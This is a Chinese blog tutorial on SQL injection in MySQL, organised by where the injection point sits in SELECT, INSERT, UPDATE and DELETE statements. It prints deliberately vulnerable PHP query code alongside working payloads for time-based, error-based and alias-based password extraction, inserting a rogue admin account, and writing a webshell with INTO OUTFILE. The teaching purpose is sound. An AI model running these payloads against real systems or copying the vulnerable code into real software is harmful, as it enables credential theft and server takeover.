原理解析(注入点原理)"/>
SQL注入漏洞底层原理解析(注入点原理)
sql注入是一种常见的漏洞,大部分人只知道sql注入漏洞是由于sql语句过滤不够严谨所导致的,但是为什么过滤不严谨就会造成sql注入,对于这个问题,我们今天就来深挖一下sql注入产生的根本原因-----深入研究注入点。
我再本地创建了两个表(命名和数据没有任何含义纯属瞎编的)
Mysql版本5.1.60
第一个表:news,可以理解为存储新闻信息的表,是理论上允许客户访问使用的数据库,里面并不存储敏感信息。
第二个表:ps,用于账号管理的表,里面有管理员账号,有敏感信息。
一、SELECT注入
PS:在select中举例的数据库不是我本地所建的那两个,这个属于虚构,主要是提供一种思想
SELECT语句用于数据表记录的查询,常在界面展示过程中使用,如新闻的内容、界面的展示等。
1.注入点在select_expr
<?php$conn = mysqli_connect("127.0.0.1","root","root","test");$res = mysqli_query($conn,"SELECT ${_GET['id']},content FROM wp_user"); #content是数据库元素,wp_user是数据库名$row = mysqli_fetch_array($res);echo "<center>";echo "<h1>".$row['title']."</h1>"; #title是数据库元素echo "<br>";echo "<h1>".$row['content']."</h1>"; #content是数据库元素echo "</center>";
?>
可以采用时间盲注,更优解:AS别名方法
?id=(select pwd from wp_user) as title #title是数据库元素
PS:如果注入点有反引号包裹,那么需要先闭合反引号。
2.注入点在table_referencee
<?php$conn = mysqli_connect("127.0.0.1","root","root","test");$res = mysqli_query($conn,"SELECT title FROM ${_GET['table']}");$row = mysqli_fetch_array($res);echo "<center>";echo "<h1>".$row['title']."</h1>"; #title是数据库元素echo "<br>";echo "<h1>".$row['content']."</h1>"; #content是数据库元素echo "</center>";
?>
可以用AS别名法
?table=SELECT pwd AS title FROM wp_user #pwd是密码 wp_user是数据库名
PS:如果注入点有反引号包裹,那么需要先闭合反引号。
3.注入点在WHERE或HAVING后
<?php$conn = mysqli_connect("127.0.0.1","root","root","test");$res = mysqli_query($conn,"SELECT title FROM wp_news WHERE id= ${_GET['id']}");$row = mysqli_fetch_array($res);echo "<center>";echo "<h1>".$row['title']."</h1>"; #title是数据库元素echo "<br>";echo "<h1>".$row['content']."</h1>"; #content是数据库元素echo "</center>";
?>
首先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。
HAVING与之相似
4.注入点在GROUP BY 或 ORDER BY 后
<?php$conn = mysqli_connect("127.0.0.1","root","root","test");$res = mysqli_query($conn,"SELECT title FROM wp_news GROUP BY ${_GET['title']}");$row = mysqli_fetch_array($res);echo "<center>";echo "<h1>".$row['title']."</h1>"; #title是数据库元素echo "<br>";echo "<h1>".$row['content']."</h1>"; #content是数据库元素echo "</center>";
?>
?ititle=id desc,(if(1,sleep(5),1))
可以让页面睡眠5秒,可以利用这一特点进行基于时间的注入。
ORDER BY与之相似
5.注入点在LIMIT后
通过改变数字的大小,页面会显示更多或者更少的记录数。
在整个SQL语句没有ORDER BY 关键字的情况下,可以直接使用UMION注入。
通过加入PROCEDURE可以进行注入
PS:只适用于Mysql5.1.5以后,Mysql5.6以前的版本
select id from ps limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);
配合和报错注入:
select id from ps limit 2 procedure analyse(extractvalue(1,concat(0x7e,(select password from ps limit 1,1),0x7e)),1);
select id from ps limit 2 procedure analyse(extractvalue(1,concat(0x7e,(操作代码),0x7e)),1);
INTO OUTFILE写入web’shell
在有写入权限的特定情况条件下,可以使用 INTO OUTFILE向web目录写入webshell
select 1 into outfile 'C:\Users\ASUS\Desktop\oet.php' lines terminated by '<?php phpinfo();?>';
二、INSERT注入
INSERT语句是插入数据记录的语句,常在添加新闻、用户注册、回复评论的地方出现。
1.注入点在tbl_name
<?php
$conn = mysqli_connect("127.0.0.1","root","root","test");
$res = mysqli_query($conn,"insert into {$_GET['table']} values(6,'new2','new3','new4')");
?>
开发者目的是控制news值为news,然后插入信息3,new2,new3
news中原有的内容
开发者理想情况:
然而我们可以构建paload在ps表中创建账号
http://127.0.0.1/test.php?table=ps values(4,'newadmin','newpassword')"#
2.注入点在VALUES
INSERT INTO ps VALUES(9,'ababa','321');
可以先闭合单引号,然后再插入一条记录,通过管理员和普通用户在同一个表,此时可以通过表字段来控制管理员权限。
INSERT INTO ps VALUES(9,'ababa','321'),(10,'newadmin','newpassword');
在某些情况,我们也可以将数据插入能回显的字段
INSERT INTO ps VALUES(11,'babababa','789'),(12,'afa',(select VERSION()));
这里也可以执行select语句但是要注意不能在插入的表内查询此表不然会报错
INSERT INTO ps VALUES(7,‘babababa’,‘789’),(8,‘afa’,(select password from ps limit 1,1));
报错:
更改一下
INSERT INTO news VALUES(7,'babababa','789','asdas'),(8,'afa',(select password from ps limit 0,1),'asfasfas');
可以看到 ps 表中的密码成功被写入news表中
三、UPDATE注入
UPDATE语句适用于数据库的更新,如用户修改自己的文章、介绍信息、更新信息等。
假设我们可以操作的位置时id=多少
我们可以更改其列名,以方便我们利用,
思考一下我们输入id时不知道id对应的字段名是多少的,我们在改id的同时将某一列的字段更改,那么我们就可以根据我们更改的这个字段查询这一整条信息,或者借此更改管理员密码,实现管理员账号的登录。
四、DELETE注入
DELETE语句的作用是删除某个表全部或指定行的数据。
DELETE注入多在WHERE之后,注入语句如下
$res = mysqli_query($conn,"DELETE FROM ps WHERE id ={$_GET['id']}");
为了防止在注入时删除数据,我们可以在后面加 and sleep(1)
让语句不报错却又无法正常执行
delete from ps where id=11 and sleep(1);
执行前:
执行中:
执行后:
再次基础上我们结合报错注入就可以实现语句的查询:
详细的报错注入方法看这篇文章
delete from news where i=1 and sleep(5) and extractvalue(null,concat(0x7e,(操作代码),0x7e));
例:
delete from news where i=1 and sleep(5) and extractvalue(null,concat(0x7e,(select version()),0x7e));
delete from news where i=1 and sleep(5) and extractvalue(null,concat(0x7e,(select password from ps limit 1,1),0x7e));
参考文献《从0到1》 NULL战队 著
更多推荐
SQL注入漏洞底层原理解析(注入点原理)
发布评论